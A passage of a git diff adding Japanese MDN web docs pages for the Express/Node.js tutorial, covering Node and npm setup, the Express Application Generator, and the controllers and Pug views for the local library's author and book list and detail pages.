からは何もしていません) といくつかの ES6 構文を使用します。 + + <pre class="brush: js">//HTTP モジュールを読み込む +const http = require("http"); +<code>const hostname = '127.0.0.1'; +const port = 3000; + +//HTTP サーバーを作成し、3000 番ポートでリクエストを待機します。 +const server = http.createServer((req, res) => { + + //HTTP ステータスとコンテンツタイプを持つ応答 HTTP ヘッダーを設定します。 + res.statusCode = 200; + res.setHeader('Content-Type', 'text/plain'); + res.end('Hello World\n'); +}); + +//3000 番ポートでリクエストを待機し、受信したときにログ出力するコールバック関数 +server.listen(port, hostname, () => { + console.log(`Server running at http://${hostname}:${port}/`); +});</code> + +</pre> + + <p>このコードは "http" モジュールをインポートし、それを使用して 3000 番ポートで HTTP リクエストを待機するサーバーを作成 (<code>createServer()</code>) します。次に、スクリプトはサーバーをテストするために使用できるブラウザー URL についてのメッセージをコンソールに出力します。 <code>createServer()</code> 関数は、HTTP リクエストを受信したときに呼び出されるコールバック関数を引数として取ります。これは HTTP ステータスコード 200 ("OK") とプレーンテキスト "Hello World" のレスポンスを返します。</p> + + <div class="note"> + <p><strong>メモ:</strong> このコードが何をしているのか正確に理解できなくても心配しないでください。Express を使い始めたら、コードについて詳しく説明します。</p> + </div> + </li> + <li>コマンドプロンプトで <code>hellonode.js</code> ファイルと同じディレクトリに移動し、次のようにスクリプト名とともに <code>node</code> を呼び出してサーバーを起動します。 + <pre class="brush: bash">>node hellonode.js +Server running at http://127.0.0.1:3000/ +</pre> + </li> + <li>http://127.0.0.1:3000 の URL に移動します。すべてがうまくいったら、ブラウザーは単に文字列 "Hello World" を表示するはずです。</li> +</ol> + +<h2 id="NPM_の使用">NPM の使用</h2> + +<p>Node 自体の次に、<a href="https://docs.npmjs.com/">NPM</a> は Node アプリケーションを操作するための最も重要なツールです。NPM は、アプリケーションが開発、テスト、および/または運用に必要なパッケージ(JavaScript ライブラリ) を取得するために使用されます。また、開発プロセスで使用されるテストやツールを実行するために使用されることもあります。</p> + +<div class="note"> +<p><strong>メモ:</strong> Node の観点からすると、Express は NPM を使用してインストールしてから独自のコードで必要とするもう1つのパッケージです。</p> +</div> + +<p>手動で NPM を使用して、必要な各パッケージを別々に取り出すことができます。通常、代わりに <a href="https://docs.npmjs.com/files/package.json">package.json</a> というプレーンテキストの定義ファイルを使用して依存関係を管理します。このファイルにはパッケージの名前、バージョン、説明、実行する初期ファイル、プロダクション依存関係、開発依存関係、それが動作可能な <em>Node </em>のバージョンなど、特定のJavaScript "package" に対するすべての依存関係が一覧表示されます。<strong>package.json</strong> ファイルには、NPM がアプリケーションを取得して実行するために必要なものがすべて含まれている必要があります (再利用可能なライブラリを作成している場合は、この定義を使用してパッケージを npm リポジトリーにアップロードし、他のユーザが利用できるようにします)。</p> + +<h3 id="依存関係の追加">依存関係の追加</h3> + +<p>次の手順では NPM を使用してパッケージをダウンロードし、それをプロジェクトの依存関係に保存してから、それを Node アプリケーションで要求する方法を示します。</p> + +<div class="note"> +<p><strong>メモ:</strong> ここでは Express パッケージを取得してインストールするための手順を示します。後で、このパッケージなどが Express Application Generator を使用してすでにどのように指定されているかを示します。このセクションは NPM がどのように機能するのか、および Application Generator によって何が作成されているのかを理解するのに役立ちます。</p> +</div> + +<ol> + <li> + <p>まず、新しいアプリケーション用のディレクトリーを作成し、そこに移動します。</p> + + <pre class="brush: bash">mkdir myapp +cd myapp</pre> + </li> + <li> + <p>アプリケーション用の <strong>package.json</strong> ファイルを作成するには、npm <code>init</code> コマンドを使用します。このコマンドはアプリケーションの名前とバージョン、初期エントリポイントファイルの名前 (デフォルトでは <strong>index.js</strong>) など、さまざまなことを要求します。今のところ、デフォルトをそのまま使用します。</p> + + <pre class="brush: bash">npm init</pre> + + <p><strong>package.json</strong> ファイル (<code>cat package.json</code>) を表示すると、受け入れたデフォルトが表示され、最後にライセンスが表示されます。</p> + + <pre class="brush: json">{ + "name": "myapp", + "version": "1.0.0", + "description": "", + "main": "index.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "author": "", + "license": "ISC" +} +</pre> + </li> + <li> + <p><code>myapp</code> ディレクトリーに Express をインストールし、それをあなたの package.json ファイルの依存関係リストに保存してください。</p> + + <pre class="brush: bash"> npm install express --save +</pre> + </li> + <li> + <p><strong>package.json</strong> の依存関係セクションが <strong>package.json</strong> ファイルの最後に表示され、Express が含まれます。</p> + + <pre class="brush: json">{ + "name": "myapp", + "version": "1.0.0", + "description": "", + "main": "index.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "author": "", + "license": "ISC", +<strong> "dependencies": { + "express": "^4.16.3" + }</strong> +} +</pre> + </li> + <li>このライブラリを使用するには、index.js ファイルで以下に示すように <code>require()</code> 関数を呼び出します。"myapp" アプリケーションディレクトリーのルートにファイルを作り、以下の内容を記述します。 + <pre><code><strong>const express = require('express')</strong> +const app = express(); + +app.get('/', (req, res) => { + res.send('Hello World!') +}); + +app.listen(</code>8000<code>, () => { + console.log('Example app listening on port </code>8000<code>!') +});</code> +</pre> + + <p>このコードは、最小限の「HelloWorld」Express ウェブアプリケーションを示しています。これは「express」モジュールをインポートし、それを使用して 8000 番ポートで HTTP リクエストを待機するサーバ ー(<code>app</code>) を作成し、サーバーをテストするために使用できるブラウザー URL を説明するメッセージをコンソールに出力します。 <code>app.get()</code> 関数は、指定された URLパス ('/') で HTTP <code>GET</code> リクエストにのみ応答します。この場合、関数を呼び出して <em>Hello World!</em> メッセージを送信します。</p> + </li> + <li>コマンドプロンプトでスクリプトを使用して node を呼び出すことでサーバーを起動できます。 + <pre class="brush: bash">>node index.js +Example app listening on port 8000 +</pre> + </li> + <li>URL (<a href="http://127.0.0.1:8000/">http://127.0.0.1:8000/</a>) に移動します。すべてがうまくいったら、ブラウザーは単に文字列 "Hello World!" を表示するはずです。</li> +</ol> + +<h3 id="開発の依存関係">開発の依存関係</h3> + +<p>依存関係が開発中にのみ使用される場合は、代わりに "開発依存関係" として保存する必要があります (パッケージユーザーが本番環境にインストールする必要がないようにするため)。たとえば、一般的な JavaScript Linting ツールの <a href="http://eslint.org/">eslint</a> を使用するには、次のように NPM を呼び出します。</p> + +<pre class="brush: bash"><code>npm install eslint --save-dev</code></pre> + +<p>次のエントリがアプリケーションの <strong>package.json</strong> に追加されます。</p> + +<pre class="brush: js"> "devDependencies": { + "eslint": "^4.12.1" + } +</pre> + +<div class="note"> +<p><strong>メモ:</strong> "<a href="https://en.wikipedia.org/wiki/Lint_(software)">Lint</a>" は一連のコーディングのベストプラクティスに準拠しているかどうかを認識して報告するために、ソフトウェアで静的分析を実行するツールです。</p> +</div> + +<h3 id="タスクの実行">タスクの実行</h3> + +<p>依存関係の定義と取得に加えて、<strong>package.json</strong> ファイルに名前付きスクリプトを定義し、NPM を呼び出してそれらを <a href="https://docs.npmjs.com/cli/run-script">run-script</a> コマンドで実行することもできます。このアプローチは、実行中のテストや開発の一部を自動化したり、ツールチェーン (たとえば JavaScript の縮小、画像の縮小、コードの LINT/分析などのツールの実行) を構築したりするためによく使用されます。</p> + +<div class="note"> +<p><strong>メモ:</strong> <a href="http://gulpjs.com/">Gulp</a> や <a href="http://gruntjs.com/">Grunt</a> のようなタスクランナーもテストや他の外部ツールを実行するために使うことができます。</p> +</div> + +<p>たとえば、前のセクションで指定した eslint 開発依存関係を実行するためのスクリプトを定義するには、次のスクリプトブロックを <strong>package.json</strong> ファイルに追加します (アプリケーションソースが /src/js フォルダにあると仮定します)。</p> + +<pre class="brush: js">"scripts": { + ... + "lint": "eslint src/js" + ... +} +</pre> + +<p>もう少し詳しく説明すると、<code>eslint src/js</code> は、app ディレクトリー内の <code>src/js</code> ディレクトリーに含まれる JavaScript ファイルに対して <code>eslint</code> を実行するために terminal/command 行に入力できるコマンドです。アプリの package.json ファイル内に上記を含めると、このコマンドのショートカット - つまり <code>lint</code> が提供されます。</p> + +<p>こうすれば、NPM を使って eslint を実行することができます。</p> + +<pre class="brush: bash"><code>npm run-script lint +# OR (using the alias) +npm run lint</code> +</pre> + +<p>この例は元のコマンドより短く見えないかもしれませんが、複数のコマンドのチェーンを含めて、npm スクリプト内にもっと大きなコマンドを含めることができます。一度にすべてのテストを実行する単一の npm スクリプトを指定できます。</p> + +<h2 id="Express_Application_Generator_のインストール">Express Application Generator のインストール</h2> + +<p><a href="https://expressjs.com/ja/starter/generator.html">Express Application Generator</a> ツールは Express アプリケーションの「スケルトン」を生成します。次に示すように、NPM を使用してジェネレーターをインストールします (<code>-g</code> フラグを指定すると、ツールをグローバルにインストールして、どこからでも呼び出すことができます)。</p> + +<pre><code>npm install express-generator -g</code></pre> + +<p>デフォルト設定で "helloworld" という名前の Express アプリを作成するには、作成する場所に移動して、図のようにアプリを実行します。</p> + +<pre class="brush: bash">express helloworld</pre> + +<div class="note"> +<p><strong>注記: </strong>利用するテンプレートライブラリ等の他の設定を指定することもできます。すべてのオプションを見るには、<code>help</code> コマンドを使用してください。</p> + +<pre class="brush: bash">express --help +</pre> +</div> + +<p>NPM は現在の場所のサブフォルダーに新しい Express アプリケーションを作成し、コンソールにビルドの進行状況を表示します。完了すると、Node の依存関係をインストールしてアプリを起動するために入力する必要があるコマンドがツールに表示されます。</p> + +<div class="note"> +<p>新しいアプリには、そのルートディレクトリーに <strong>package.json</strong> ファイルがあります。これを開くと、Express やテンプレートライブラリ Jade など、インストールされている依存関係を確認できます。</p> + +<pre class="brush: js">{ + "name": "helloworld", + "version": "0.0.0", + "private": true, + "scripts": { + "start": "node ./bin/www" + }, + "dependencies": { + "body-parser": "~1.18.2", + "cookie-parser": "~1.4.3", + "debug": "~2.6.9", + "express": "~4.15.5", + "jade": "~1.11.0", + "morgan": "~1.9.0", + "serve-favicon": "~2.4.5" + } +}</pre> + + +</div> + +<p>次に示すように、NPM を使用して helloworld アプリのすべての依存関係をインストールします。</p> + +<pre class="brush: bash">cd helloworld +npm install +</pre> + +<p>次に、以下のようにアプリを実行します (コマンドは Windows と Linux/macOS で若干異なります)。</p> + +<pre class="brush: bash"># Windows のコマンドプロンプトで helloworld を実行 +SET DEBUG=helloworld:* & npm start + +# Windows の PowerShell で helloworld を実行 +SET DEBUG=helloworld:* | npm start + +# Linux/macOS で helloworld を実行 +DEBUG=helloworld:* npm start +</pre> + +<p>DEBUG コマンドは有用なロギングを作成し、その結果、以下に示すような出力が得られます。</p> + +<pre class="brush: bash">>SET DEBUG=helloworld:* & npm start + +> helloworld@0.0.0 start D:\Github\expresstests\helloworld +> node ./bin/www + + helloworld:server Listening on port 3000 +0ms</pre> + +<p>ブラウザーを開いて http://127.0.0.1:3000/ に移動し、デフォルトの Express ウェルカムページを表示します。</p> + +<p><img alt="Express - Generated App Default Screen" src="https://mdn.mozillademos.org/files/14331/express_default_screen.png" style="border-style: solid; border-width: 1px; display: block; height: 301px; margin: 0px auto; width: 675px;"></p> + +<p>スケルトンアプリケーションの生成に関する記事にアクセスしたら、生成されたアプリケーションについて詳しく説明します。</p> + +<ul> +</ul> + +<h2 id="まとめ">まとめ</h2> + +<p>これで、Express ウェブアプリケーションを作成するために使用できる Node 開発環境がコンピューター上で稼働しています。また、NPM を使用して Express をアプリケーションにインポートする方法、および Express Application Generator ツールを使用してアプリケーションを作成して実行する方法についても説明しました。</p> + +<p>次の記事では、この環境と関連ツールを使って完全なウェブアプリケーションを構築するためのチュートリアルを始めます。</p> + +<h2 id="あわせて参照">あわせて参照</h2> + +<ul> + <li><a href="https://nodejs.org/ja/download/">ダウンロード</a> ページ (nodejs.org)</li> + <li><a href="https://nodejs.org/ja/download/package-manager/">パッケージマネージャを利用した Node.js のインストール</a> (nodejs.org)</li> + <li><a href="http://expressjs.com/ja/starter/installing.html">Express のインストール</a> (expressjs.com)</li> + <li><a href="https://expressjs.com/ja/starter/generator.html">Express Application Generator</a> (expressjs.com)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Introduction", "Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs")}}</p> + +<h2 id="このモジュールの中">このモジュールの中</h2> + +<ul> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node のイントロダクション</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/development_environment">Node 開発環境の設定</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express チュートリアル: 地域図書館のウェブサイト</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express チュートリアル Part 2: スケルトンウェブサイトの作成</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/mongoose">Express チュートリアル Part 3: データベースを使う (Mongoose を使用)</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/routes">Express チュートリアル Part 4: ルートとコントローラー</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express チュートリアル Part 5: ライブラリデータの表示</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/forms">Express チュートリアル Part 6: フォームの操作</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/deployment">Express チュートリアル Part 7: プロダクションへのデプロイ</a></li> +</ul> diff --git a/files/ja/learn/server-side/express_nodejs/displaying_data/author_detail_page/index.html b/files/ja/learn/server-side/express_nodejs/displaying_data/author_detail_page/index.html new file mode 100644 index 0000000000..5c4acc7193 --- /dev/null +++ b/files/ja/learn/server-side/express_nodejs/displaying_data/author_detail_page/index.html @@ -0,0 +1,89 @@ +--- +title: 著者詳細ページ +slug: Learn/Server-side/Express_Nodejs/Displaying_data/Author_detail_page +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Author_detail_page +--- +<p>著者詳細ページには、指定された <code>Author</code> に関する情報を、その (自動的に生成された) <code>_id</code> フィールド値を使用して識別し、その <code>Author</code> に関連するすべての <code>Book</code> オブジェクトのリストを表示する必要があります。</p> + +<h2 id="Controller">Controller</h2> + +<p>Open <strong>/controllers/authorController.js</strong>.</p> + +<p>Add the following lines to the top of the file to import the <em>async</em> and <em>Book</em> modules (these are needed for our author detail page).</p> + +<pre class="brush: js">var async = require('async'); +var Book = require('../models/book');</pre> + +<p>Find the exported <code>author_detail()</code> controller method and replace it with the following code.</p> + +<pre class="brush: js">// Display detail page for a specific Author. +exports.author_detail = function(req, res, next) { + +<strong> async.parallel({ + author: function(callback) { + Author.findById(req.params.id) + .exec(callback) + }, + authors_books: function(callback) { + Book.find({ 'author': req.params.id },'title summary') + .exec(callback) + }, + }, function(err, results) { + if (err) { return next(err); } // Error in API usage. + if (results.author==null) { // No results. + var err = new Error('Author not found'); + err.status = 404; + return next(err); + } + // Successful, so render. + res.render('author_detail', { title: 'Author Detail', author: results.author, author_books: results.authors_books } ); + });</strong> + +}; +</pre> + +<p>The method uses <code>async.parallel()</code> to query the <code>Author</code> and their associated <code>Book</code> instances in parallel, with the callback rendering the page when (if) both requests complete successfully. The approach is exactly the same as described for the <em>Genre detail page</em> above.</p> + +<h2 id="View">View</h2> + +<p>Create <strong>/views/author_detail.pug</strong> and copy in the following text.</p> + +<pre class="brush: js">extends layout + +block content + +<strong> h1 Author: #{author.name}</strong> + p #{author.date_of_birth} - #{author.date_of_death} + + div(style='margin-left:20px;margin-top:20px') + + h4 Books + + dl + each book in author_books + dt + a(href=book.url) #{book.title} + dd #{book.summary} + + else + p This author has no books. +</pre> + +<p>Everything in this template has been demonstrated in previous sections.</p> + +<h2 id="What_does_it_look_like">What does it look like?</h2> + +<p>Run the application and open your browser to <a href="http://localhost:3000/">http://localhost:3000/</a>. Select the <em>All Authors</em> link, then select one of the authors. If everything is set up correctly, your site should look something like the following screenshot.</p> + +<p><img alt="Author Detail Page - Express Local Library site" src="https://mdn.mozillademos.org/files/14466/LocalLibary_Express_Author_Detail.png" style="border-style: solid; border-width: 1px; display: block; height: 422px; margin: 0px auto; width: 1000px;"></p> + +<div class="note"> +<p><strong>Note:</strong> The appearance of the author <em>lifespan </em>dates is ugly! We'll address that in the final challenge in this article.</p> +</div> + +<h2 id="Next_steps">Next steps</h2> + +<ul> + <li>Return to <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a>.</li> + <li>Proceed to final subarticle of part 5 : <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_detail_page_and_challenge">BookInstance detail page and challenge</a>.</li> +</ul> diff --git a/files/ja/learn/server-side/express_nodejs/displaying_data/author_list_page/index.html b/files/ja/learn/server-side/express_nodejs/displaying_data/author_list_page/index.html new file mode 100644 index 0000000000..f738902bfb --- /dev/null +++ b/files/ja/learn/server-side/express_nodejs/displaying_data/author_list_page/index.html @@ -0,0 +1,85 @@ +--- +title: 著者リストページとジャンルリストページのチャレンジ +slug: Learn/Server-side/Express_Nodejs/Displaying_data/Author_list_page +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Author_list_page +--- +<p>The author list page needs to display a list of all authors in the database, with each author name linked to its associated author detail page. The date of birth and date of death should be listed after the name on the same line.</p> + +<h2 class="highlight-spanned" id="Controller"><span class="highlight-span">Controller</span></h2> + +<p>The author list controller function needs to get a list of all <code>Author</code> instances, and then pass these to the template for rendering.</p> + +<p>Open <strong>/controllers/authorController.js</strong>. Find the exported <code>author_list()</code> controller method near the top of the file and replace it with the following code (the changed code is shown in bold).</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// Display list of all Authors.</span> +exports<span class="punctuation token">.</span>author_list <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">,</span> next<span class="punctuation token">)</span> <span class="punctuation token">{</span> + + Author<span class="punctuation token">.</span><span class="function token">find</span><span class="punctuation token">(</span><span class="punctuation token">)</span> + <span class="punctuation token">.</span><span class="function token">sort</span><span class="punctuation token">(</span><span class="punctuation token">[</span><span class="punctuation token">[</span><span class="string token">'family_name'</span><span class="punctuation token">,</span> <span class="string token">'ascending'</span><span class="punctuation token">]</span><span class="punctuation token">]</span><span class="punctuation token">)</span> + <span class="punctuation token">.</span><span class="function token">exec</span><span class="punctuation token">(</span><span class="keyword token">function</span> <span class="punctuation token">(</span>err<span class="punctuation token">,</span> list_authors<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> <span class="function token">next</span><span class="punctuation token">(</span>err<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span> + <span class="comment token">//Successful, so render</span> + res<span class="punctuation token">.</span><span class="function token">render</span><span class="punctuation token">(</span><span class="string token">'author_list'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> title<span class="punctuation token">:</span> <span class="string token">'Author List'</span><span class="punctuation token">,</span> author_list<span class="punctuation token">:</span> list_authors <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre> + +<p>The method uses the model's <code>find()</code>, <code>sort()</code> and <code>exec()</code> functions to return all <code>Author</code> objects sorted by <code>family_name</code> in alphabetic order. The callback passed to the <code>exec()</code> method is called with any errors (or <code>null</code>) as the first parameter, or a list of all authors on success. If there is an error it calls the next middleware function with the error value, and if not it renders the <strong>author_list</strong>(.pug) template, passing the page <code>title</code> and the list of authors (<code>author_list</code>).</p> + +<h2 class="highlight-spanned" id="View"><span class="highlight-span">View</span></h2> + +<p>Create <strong>/views/author_list.pug</strong> and replace its content with the text below.</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">extends</span> <span class="class-name token">layout</span> + +block content + h1<span class="operator token">=</span> title + + ul + each author <span class="keyword token">in</span> author_list + li + <span class="function token">a</span><span class="punctuation token">(</span>href<span class="operator token">=</span>author<span class="punctuation token">.</span>url<span class="punctuation token">)</span> #<span class="punctuation token">{</span>author<span class="punctuation token">.</span>name<span class="punctuation token">}</span> + <span class="operator token">|</span> <span class="punctuation token">(</span>#<span class="punctuation token">{</span>author<span class="punctuation token">.</span>date_of_birth<span class="punctuation token">}</span> <span class="operator token">-</span> #<span class="punctuation token">{</span>author<span class="punctuation token">.</span>date_of_death<span class="punctuation token">}</span><span class="punctuation token">)</span> + + <span class="keyword token">else</span> + li There are no authors<span class="punctuation token">.</span></code></pre> + +<p>The view follows exactly the same pattern as our other templates.</p> + +<h2 class="highlight-spanned" id="What_does_it_look_like"><span class="highlight-span">What does it look like?</span></h2> + +<p>Run the application and open your browser to <a class="external external-icon" href="http://localhost:3000/" rel="noopener">http://localhost:3000/</a>. Then select the <em>All authors </em>link. If everything is set up correctly, the page should look something like the following screenshot.</p> + +<p><img alt="Author List Page - Express Local Library site" src="https://mdn.mozillademos.org/files/14468/LocalLibary_Express_Author_List.png" style="display: block; height: 453px; margin: 0px auto; width: 1200px;"></p> + +<div class="note"> +<p><strong>Note:</strong> The appearance of the author <em>lifespan </em>dates is ugly! You can improve this using the <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data#date_formatting">same approach</a> as we used for the <code>BookInstance</code> list (adding the virtual property for the lifespan to the <code>Author</code> model). This time, however, there are missing dates, and references to nonexistent properties are ignored unless strict mode is in effect. <code>moment()</code> returns the current time, and you don't want missing dates to be formatted as if they were today. One way to deal with this is to define the body of the function that returns a formatted date so it returns a blank string unless the date actually exists. For example:</p> + +<p><code>return this.date_of_birth ? moment(this.date_of_birth).format('YYYY-MM-DD') : '';</code></p> +</div> + +<h2 id="Genre_list_page—challenge!Edit">Genre list page—challenge!<a class="button section-edit only-icon" href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data$edit#Genre_list_page—challenge!" rel="nofollow, noindex"><span>Edit</span></a></h2> + +<p>In this section you should implement your own genre list page. The page should display a list of all genres in the database, with each genre linked to its associated detail page. A screenshot of the expected result is shown below.</p> + +<p><img alt="Genre List - Express Local Library site" src="https://mdn.mozillademos.org/files/14460/LocalLibary_Express_Genre_List.png" style="border-style: solid; border-width: 1px; display: block; height: 346px; margin: 0px auto; width: 600px;"></p> + +<p>The genre list controller function needs to get a list of all <code>Genre</code> instances, and then pass these to the template for rendering.</p> + +<ol> + <li>You will need to edit <code>genre_list()</code> in <strong>/controllers/genreController.js</strong>. </li> + <li>The implementation is almost exactly the same as the <code>author_list()</code> controller. + <ul> + <li>Sort the results by name, in ascending order.</li> + </ul> + </li> + <li>The template to be rendered should be named <strong>genre_list.pug</strong>.</li> + <li>The template to be rendered should be passed the variables <code>title</code> ('Genre List') and <code>genre_list</code> (the list of genres returned from your <code>Genre.find()</code> callback.</li> + <li>The view should match the screenshot/requirements above (this should have a very similar structure/format to the Author list view, except for the fact that genres do not have dates).</li> +</ol> + +<h2 id="Next_steps">Next steps</h2> + +<p>Return to <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a>.</p> + +<p>Proceed to the next subarticle of part 5: <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Genre_detail_page">Genre detail page</a>.</p> diff --git a/files/ja/learn/server-side/express_nodejs/displaying_data/book_detail_page/index.html b/files/ja/learn/server-side/express_nodejs/displaying_data/book_detail_page/index.html new file mode 100644 index 0000000000..f2080e6109 --- /dev/null +++ b/files/ja/learn/server-side/express_nodejs/displaying_data/book_detail_page/index.html @@ -0,0 +1,112 @@ +--- +title: 本の詳細ページ +slug: Learn/Server-side/Express_Nodejs/Displaying_data/Book_detail_page +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Book_detail_page +--- +<p>The <em>Book detail page</em> needs to display the information for a specific <code>Book</code>, identified using its (automatically generated) <code>_id</code> field value, along with information about each associated copy in the libary (<code>BookInstance</code>). Wherever we display an author, genre, or book instance, these should be linked to the associated detail page for that item.</p> + +<h2 id="Controller">Controller</h2> + +<p>Open <strong>/controllers/bookController.js</strong>. Find the exported <code>book_detail()</code> controller method and replace it with the following code.</p> + +<pre class="brush: js">// Display detail page for a specific book. +exports.book_detail = function(req, res, next) { + +<strong> async.parallel({ + book: function(callback) { + + Book.findById(req.params.id) + .populate('author') + .populate('genre') + .exec(callback); + }, + book_instance: function(callback) { + + BookInstance.find({ 'book': req.params.id }) + .exec(callback); + }, + }, function(err, results) { + if (err) { return next(err); } + if (results.book==null) { // No results. + var err = new Error('Book not found'); + err.status = 404; + return next(err); + } + // Successful, so render. + res.render('book_detail', { title: 'Title', book: results.book, book_instances: results.book_instance } ); + });</strong> + +}; + +</pre> + +<div class="note"> +<p><strong>Note:</strong> We don't need to require <em>async</em> and <em>BookInstance</em>, as we already imported those modules when we implemented the home page controller.</p> +</div> + +<p>The method uses <code>async.parallel()</code> to find the <code>Book</code> and its associated copies (<code>BookInstances</code>) in parallel. The approach is exactly the same as described for the <em>Genre detail page</em> above.</p> + +<h2 id="View">View</h2> + +<p>Create <strong>/views/book_detail.pug</strong> and add the text below.</p> + +<pre class="brush: js">extends layout + +block content + h1 #{title}: #{book.title} + + p #[strong Author:] + a(href=book.author.url) #{book.author.name} + p #[strong Summary:] #{book.summary} + p #[strong ISBN:] #{book.isbn} + p #[strong Genre:]&nbsp; + each val, index in book.genre + a(href=val.url) #{val.name} + if index < book.genre.length - 1 + |, + + div(style='margin-left:20px;margin-top:20px') + h4 Copies + + each val in book_instances + hr + if val.status=='Available' + <strong>p.text-success</strong> #{val.status} + else if val.status=='Maintenance' + p.text-danger #{val.status} + else + p.text-warning #{val.status} + p #[strong Imprint:] #{val.imprint} + if val.status!='Available' + p #[strong Due back:] #{val.due_back} + p #[strong Id:]&nbsp; + a(href=val.url) #{val._id} + + else + p There are no copies of this book in the library. +</pre> + +<p>Almost everything in this template has been demonstrated in previous sections.</p> + +<div class="note"> +<p><strong>Note:</strong> The list of genres associated with the book is implemented in the template as below. This adds a comma after every genre associated with the book except for the last one.</p> + +<pre> p #[strong Genre:] + each val, index in book.genre + a(href=val.url) #{val.name} + if index < book.genre.length - 1 + |, </pre> +</div> + +<h2 id="What_does_it_look_like">What does it look like?</h2> + +<p>Run the application and open your browser to <a href="http://localhost:3000/">http://localhost:3000/</a>. Select the <em>All books</em> link, then select one of the books. If everything is set up correctly, your page should look something like the following screenshot.</p> + +<p><img alt="Book Detail Page - Express Local Library site" src="https://mdn.mozillademos.org/files/14470/LocalLibary_Express_Book_Detail.png" style="border-style: solid; border-width: 1px; display: block; height: 616px; margin: 0px auto; width: 1200px;"></p> + +<h2 id="Next_steps">Next steps</h2> + +<ul> + <li>Return to <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a>.</li> + <li>Proceed to the next subarticle of part 5: <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Author_detail_page">Author detail page</a>.</li> +</ul> diff --git a/files/ja/learn/server-side/express_nodejs/displaying_data/book_list_page/index.html b/files/ja/learn/server-side/express_nodejs/displaying_data/book_list_page/index.html new file mode 100644 index 0000000000..4dfc9c5a5e --- /dev/null +++ b/files/ja/learn/server-side/express_nodejs/displaying_data/book_list_page/index.html @@ -0,0 +1,68 @@ +--- +title: ブックリストページ +slug: Learn/Server-side/Express_Nodejs/Displaying_data/Book_list_page +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Book_list_page +--- +<p>Next we'll implement our book list page. This page needs to display a list of all books in the database along with their author, with each book title being a hyperlink to its associated book detail page.</p> + +<h2 class="highlight-spanned" id="Controller"><span class="highlight-span">Controller</span></h2> + +<p>The book list controller function needs to get a list of all <code>Book</code> objects in the database, and then pass these to the template for rendering.</p> + +<p>Open <strong>/controllers/bookController.js</strong>. Find the exported <code>book_list()</code> controller method and replace it with the following code.</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// Display list of all Books.</span> +exports<span class="punctuation token">.</span>book_list <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">,</span> next<span class="punctuation token">)</span> <span class="punctuation token">{</span> + + Book<span class="punctuation token">.</span><span class="function token">find</span><span class="punctuation token">(</span><span class="punctuation token">{</span><span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="string token">'title author'</span><span class="punctuation token">)</span> + <span class="punctuation token">.</span><span class="function token">populate</span><span class="punctuation token">(</span><span class="string token">'author'</span><span class="punctuation token">)</span> + <span class="punctuation token">.</span><span class="function token">exec</span><span class="punctuation token">(</span><span class="keyword token">function</span> <span class="punctuation token">(</span>err<span class="punctuation token">,</span> list_books<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> <span class="function token">next</span><span class="punctuation token">(</span>err<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span> + <span class="comment token">//Successful, so render</span> + res<span class="punctuation token">.</span><span class="function token">render</span><span class="punctuation token">(</span><span class="string token">'book_list'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> title<span class="punctuation token">:</span> <span class="string token">'Book List'</span><span class="punctuation token">,</span> book_list<span class="punctuation token">:</span> list_books <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span 